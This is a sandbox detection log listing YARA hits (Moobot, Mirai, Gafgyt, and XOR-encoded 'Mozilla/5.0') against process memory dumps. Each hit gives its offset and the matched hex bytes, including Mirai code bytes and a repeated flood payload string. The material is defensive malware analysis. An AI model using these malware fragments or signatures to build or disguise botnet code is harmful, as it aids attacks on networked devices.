6947.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6947.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6947.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6947.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6947.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6947.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7204.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6675.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7381.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7244.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7244.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7244.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7244.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7244.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7244.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7039.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7211.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7211.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7211.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7211.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7211.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7211.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6498.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6498.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6498.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6498.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6498.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6498.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7258.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6503.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6503.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6503.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6503.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6503.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6503.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7411.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7411.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7411.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7411.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7411.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 